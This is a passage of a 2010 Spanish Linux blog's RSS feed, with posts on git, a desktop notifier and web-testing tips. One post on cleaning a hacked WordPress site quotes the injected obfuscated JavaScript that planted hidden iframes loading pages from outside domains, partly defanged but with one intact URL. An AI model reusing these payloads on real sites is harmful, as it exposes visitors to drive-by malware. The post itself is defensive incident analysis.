href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;title=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" id="wpa2a_12">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-3-5/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tip para Web Developers #1: Errores de validación de usuarios.</title>
		<link>http://www.glatelier.org/2010/06/tip-para-developers-web-1-errores-de-validacion-de-usuarios/</link>
		<comments>http://www.glatelier.org/2010/06/tip-para-developers-web-1-errores-de-validacion-de-usuarios/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 21:36:26 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[porno]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[tip]]></category>
		<category><![CDATA[tip para web developers]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=6868</guid>
		<description><![CDATA[Estuve bastante ocupado esta semana, y aún no he terminado los capítulos que faltan sobre git, así es que mis disculpas. Y, para no perderme tanto, les tengo un tip: ¿Alguna vez han visto páginas web pornográficas? ¿Han tomado las precauciones del caso para que no les encuentren en la empresa, configurando sus browsers? Pues [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Estuve bastante ocupado esta semana, y aún no he terminado los capítulos que faltan sobre git, así es que mis disculpas. Y, para no perderme tanto, les tengo un tip:</p>
<p>¿Alguna vez han visto páginas web pornográficas? ¿Han tomado las precauciones del caso para que no les encuentren en la empresa, configurando sus browsers? Pues bien, cada vez que desarrollen aplicaciones Web tienen que hacer exactamente lo mismo para asegurarse de que no tienen errores de autenticación.</p>
<p>Me han contado que es algo así.</p>
<p>Lo que yo hago para <span style="text-decoration: line-through;">ver porno</span> probar seguridad en<br />
mis sistemas es:</p>
<ol>
<li>Deshabilitar cookies</li>
<li>Deshabilitar historial</li>
<li>Deshabilitar caché</li>
<li>Deshabilitar passwords</li>
<li>Revisar cada URL y cada cajita de texto para poder  encontrarle alguna falla a la aplicación</li>
<li>Habilitar cookies y leer cada una de las cookies <span style="text-decoration: line-through;">para tratar deconseguir mas información sobre el video</span> para saber si hay algo de información que pueda causarme problemas.</li>
</ol>
<p>Eso sería, ya viene la tercera parte sobre git&#8230;</p>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/06/tip-para-developers-web-1-errores-de-validacion-de-usuarios/" data-text="Tip para Web Developers #1: Errores de validación de usuarios." data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;linkname=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Ftip-para-developers-web-1-errores-de-validacion-de-usuarios%2F&amp;title=Tip%20para%20Web%20Developers%20%231%3A%20Errores%20de%20validaci%C3%B3n%20de%20usuarios." id="wpa2a_14">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/06/tip-para-developers-web-1-errores-de-validacion-de-usuarios/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CloudSN: integrando redes sociales en tu escritorio</title>
		<link>http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/</link>
		<comments>http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 17:13:32 +0000</pubDate>
		<dc:creator>morelio</dc:creator>
				<category><![CDATA[Arch]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Personalización]]></category>
		<category><![CDATA[Programación para Newbies]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[google reader]]></category>
		<category><![CDATA[notificaciones]]></category>
		<category><![CDATA[redes sociales]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=6827</guid>
		<description><![CDATA[CloudSN es una aplicación para Gnome que te alertará, a través de notificaciones, de nuevos correos y entradas de tus servicios sociales preferidos. Entre los servicios soportados encontramos Gmail, GoogleReader, Twittter, Identi.ca y cualquier correo IMAP o POP3. Para instalarlo en Ubuntu debemos agregar el PPA del proyecto: sudo add-apt-repository ppa:chuchiperriman/cloudsn Y para instalarlo: sudo [...]]]></description>
			<content:encoded><![CDATA[<p id="top" /><a href="httphttp://chuchiperriman.github.com/cloud-services-notifications/://" target="_blank">CloudSN</a> es una aplicación para Gnome que te alertará, a través de notificaciones, de nuevos correos y entradas de tus servicios sociales preferidos.</p>
<p>Entre los servicios soportados encontramos Gmail, GoogleReader, Twittter, Identi.ca y cualquier correo IMAP o POP3.</p>
<p><span id="more-6827"></span></p>
<p>Para instalarlo en Ubuntu debemos agregar el PPA del proyecto:<br />
<code class="snip"> sudo add-apt-repository ppa:chuchiperriman/cloudsn</code></p>
<p>Y para instalarlo:<br />
<code class="snip">sudo apt-get update &amp;&amp; sudo apt-get install cloudsn</code></p>
<p>En Arch se encuentra disponible en AUR:<br />
<code class="snip">yaourt -S cloudsn</code></p>
<p>Una vez instalado lo podrás encontrar en las aplicaciones de <em>Internet</em>, al seleccionarlo aparecerá un nuevo icono en nuestra bandeja del sistema.</p>
<p><a rel="attachment wp-att-6829" href="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/seleccion_004-2/"><img class="aligncenter size-full wp-image-6829" title="Selección_004" src="http://www.glatelier.org/wp-content/uploads/2010/06/Selección_004.png" alt="" width="171" height="44" /></a></p>
<p>Seleccionamos nuestro nuevo icono y podremos agregar nuestras redes favoritas.</p>
<p><a rel="attachment wp-att-6830" href="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/cloudsn_005/"><img class="aligncenter size-full wp-image-6830" title="cloudsn_005" src="http://www.glatelier.org/wp-content/uploads/2010/06/cloudsn_005.png" alt="" width="449" height="327" /></a></p>
<p><a rel="attachment wp-att-6831" href="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/nueva-cuenta_006/"><img class="aligncenter size-full wp-image-6831" title="Nueva cuenta_006" src="http://www.glatelier.org/wp-content/uploads/2010/06/Nueva-cuenta_006.png" alt="" width="337" height="401" /></a></p>
<p>Una vez configuradas nuestras cuentas, el programa utilizará nuestro gestor de notificaciones para avisarnos de las actualizaciones de las redes configuradas.</p>
<p>Si lo preferimos podemos cambiar algunas preferencias del programa, que aunque pocas son las mínimas necesarias para su correcto funcionamiento.</p>
<p><a rel="attachment wp-att-6837" href="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/preferencias_008/"><img class="aligncenter size-full wp-image-6837" title="Preferencias_008" src="http://www.glatelier.org/wp-content/uploads/2010/06/Preferencias_008.png" alt="" width="558" height="427" /></a></p>
<p>Ya con tu programa funcionando correctamente podrás revisar tus redes y sus actualizaciones cuando quieras solo haciendo click en el icono de CloudSN.</p>
<p><a rel="attachment wp-att-6838" href="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/menu_007/"><img class="aligncenter size-full wp-image-6838" title="Menú_007" src="http://www.glatelier.org/wp-content/uploads/2010/06/Menú_007.png" alt="" width="271" height="72" /></a></p>
<p>No soy un activo usuario de las redes sociales, pero debo decir que este programa me gustó mucho por su sencillez y porque cumple satisfactoriamente con sus funciones. Se esperan nuevas actualizaciones donde vendría el soporte de nuevas redes entre ellas Facebook.</p>
<p>Hasta la proxima.</p>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/" data-text="CloudSN: integrando redes sociales en tu escritorio" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;linkname=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fcloudsn-integrando-redes-sociales-en-tu-escritorio%2F&amp;title=CloudSN%3A%20integrando%20redes%20sociales%20en%20tu%20escritorio" id="wpa2a_16">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/06/cloudsn-integrando-redes-sociales-en-tu-escritorio/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Acabo de salvar mi vida con git&#8230; Parte 2/5</title>
		<link>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-2-5/</link>
		<comments>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-2-5/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 16:20:38 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[acabo-de-salvar-mi-vida-con-git]]></category>
		<category><![CDATA[anécdota]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=6679</guid>
		<description><![CDATA[Viene de la primera parte. Ahora sí, ¡comenzamos! El dueño de la empresa quería tener acceso a los documentos que yo escribía, para revisarlos de vez en cuando. Ese de vez en cuando para cualquiera se traduciría en &#8220;casi nunca&#8221;. Para él, es un &#8220;mañana, tarde y noche&#8221;. Lo que hice fue tomar uno de [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Viene de la <a title="Glatelier - Acabo de salvar mi vida con git... Parte 1/5" href="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-1-5/">primera parte</a>.</p>
<h2>Ahora sí, ¡comenzamos!</h2>
<p>El dueño de la  empresa quería tener acceso a los documentos que yo  escribía, para  revisarlos de vez en cuando. Ese de vez en cuando para  cualquiera se  traduciría en &#8220;casi nunca&#8221;. Para él, es un &#8220;mañana, tarde  y noche&#8221;.</p>
<p>Lo que hice fue tomar uno de los diez ordenadores, ponerlo como firewall con una regla que conecta directamente el puerto de git (lo tengo funcionando como daemon) a mi servidor de documentación. Mi jefe usa un MacOS X y tiene git instalado (a veces descarga cosas desde   github), por lo que lo único que debe hacer es:</p>
<p><code class="snip">git clone git@myserver.org</code></p>
<p>La configuración de <em>git</em> es un poco más compleja, dependiendo  de la recepción de este artículo  puedo compartirla, pero por lo pronto  creo que es necesario aprender a  usarlo nada más.</p>
<p>Ahora, cada vez que quiere leer lo nuevo, sólo debe entrar en el directorio donde tiene la documentación:</p>
<p><code class="snip">git pull</code></p>
<p>Pero yo que soy el que está documentando, tengo mucho trabajo.</p>
<p>De partida, <em>git</em> es distribuido; cada copia del directorio de   proyecto tiene su propio repositorio (en un subdirectorio llamado <code>.git</code>),   por lo que uno puede tener copias locales y remotas. También hay &#8220;repositorios desnudos&#8221; o &#8220;<em>bare repositories</em>&#8221; que no están adjuntos a una copia. Esto es lo primero que hice cuando decidí cómo hacerlo. Como   tiene su propio repositorio, la división entre el tronco (<em>trunk</em>) y las ramas (<em>branches</em>) y hojas del repositorio están incluídas lógicamente, no como en  Subversion en el que uno tiene que crear los subdirectorios <code>trunk/</code>,  <code>branches/</code> y <code>tags/</code>.</p>
<h2>Configurando nuestro entorno</h2>
<p>Bueno, no siempre documento yo. A veces hay cosas que documentan mis compañeros que están en el desarrollo y ellos también deben tener su copia de git. Pero, ¿cómo saber quién escribió qué? No, no es difícil. Con git hasta por e-mail podemos enviar cambios. Configuremos entonces   nuestro nombre y nuestro e-mail.</p>
<p><code class="snip">git config --global user.name "Arie Deckelmann"<br />
git config --global user.email "arie.deckelmann@gmail.com"</code></p>
<blockquote><p>(Arie Deckelmann es uno de mis colaboradores, es una  de las personas  más inteligentes que conozco y fue el que me enseñó la  gran mayoría de  los trucos de git que ahora sé. Podría haberlos  aprendido yo mismo,  pero a veces simplemente no me da la cabeza para  tanto).</p></blockquote>
<p>También podemos mostrar colorcitos:</p>
<p><code class="snip">git config --global color diff auto<br />
git config --global color status auto<br />
git config --global color branch auto</code></p>
<p>Y con eso tenemos salidas de color. Quizás algún diseñador gráfico podría darnos una mano con ello, pero bueno&#8230;</p>
<p>Continúa en la <a title="Geeks &amp; Linux Atelier - Acabo de salvar mi vida con git... parte 3/5" href="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-3-5/">tercera parte</a>.</p>
<p><strong>Foto:</strong></p>
<ul>
<li><a href="http://www.sxc.hu/photo/1264271">Notebook</a> por <a href="http://www.sxc.hu/profile/Axxnn">Axxnn</a> « <a href="http://www.sxc.hu">stock.xchng</a></li>
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-2-5/" data-text="Acabo de salvar mi vida con git... Parte 2/5" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-2-5%2F&amp;title=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%202%2F5" id="wpa2a_18">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-2-5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress: Limpiar tu sitio luego de haber sido atacado</title>
		<link>http://www.glatelier.org/2010/06/wordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado/</link>
		<comments>http://www.glatelier.org/2010/06/wordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 14:45:08 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ataque]]></category>
		<category><![CDATA[c99madshell]]></category>
		<category><![CDATA[c99shell]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=6754</guid>
		<description><![CDATA[Bueno, como deben recordar, hace no más de una semana que fuimos atacados varias veces. Afortunadamente no perdimos información y esperamos que nadie haya sufrido por algún troyano por culpa de ese maldito iframe que estaba metido en la web. En fin, el problema era el siguiente; cada cierto tiempo aparecía al final de la [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Bueno, como deben <a href="http://status.glatelier.org/post/675225171/nuevo-ataque">recordar</a>, hace no más de una semana que fuimos atacados varias veces. Afortunadamente no perdimos información y esperamos que nadie haya sufrido por algún troyano por culpa de ese maldito <code>iframe</code> que estaba metido en la web.</p>
<p>En fin, el problema era el siguiente; cada cierto tiempo aparecía al final de la etiqueta <code>body</code> un script de javascript que camuflaba la creación de un iframe, el código en la primera ocasión era (lo deformé para que no resulte en la efectiva creación de un iframe):</p>
<p><span id="more-6754"></span></p>
<blockquote class="information"><p>Este artículo es bastante largo (como solía hacerlo) así que si no quieres leer todo y quieres ir directamente a lo importante, pues haz click <a title="Directamente al resumen ejecutivo" href="#resumen">aquí</a>.</p></blockquote>
<pre class="brush: jscript; title: ; notranslate">
&lt;5cr1pt language=JavaScript&gt;document.//**write(unescape('%3ciframe %77idt%68=1height=1%20bo%72de%72=0 fram%65borde%72%3d0'+'s%72c=%27http:%2f'+'%2fj'+'e%6eni%66ergr%61'+'m%69g.com%2fstd/%67o.php?%73i%64=1%27%3e%3c/ifra%6de%3e'))
</pre>
<p>Si uno presta atención al código, en realidad verá que además no estar <em>tan</em> oculto el atributo de <code>width</code> y <code>height</code> a uno (1), lo que logrará será que en el renderizado habitual de la página sea invisible, claro que mirando el código fuente de la página es bastante claro. Incluso aunque &#8216;no se vea&#8217;, ejecutará a través del <code>iframe</code> cierto archivo php en la web que almacena el código malicioso.</p>
<p>Para que quede más claro, esto se traduce a html en tiempo de ejecución a:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;1fr4me width=1 height=1 border=0 frameborder=0 src=&quot;xttp://jenn1fergram1g.com/std/go.php?sid=1&quot; mce_src=&quot;http://jennifergramig.com/std/go.php?sid=1&quot;&lt;/1fr4me&gt;
</pre>
<p>El segundo y tercer ataque fueron prácticamente iguales y seguían el mismo patrón:</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;5cr1pt language=JavaScript&amp;gt;document.//**write(unescape('%3cif%72ame%77i%64t%68=1%20height='+'%31 %62order'+'=0 f%72%61m%65b%6frder=0 %73r%63=%27%68ttp%3a//ed%77ardal%74w%69es%2ecom/s%74d/go'+'.ph%70?sid=1%27%3e3c/i%66'+'rame%3e'))

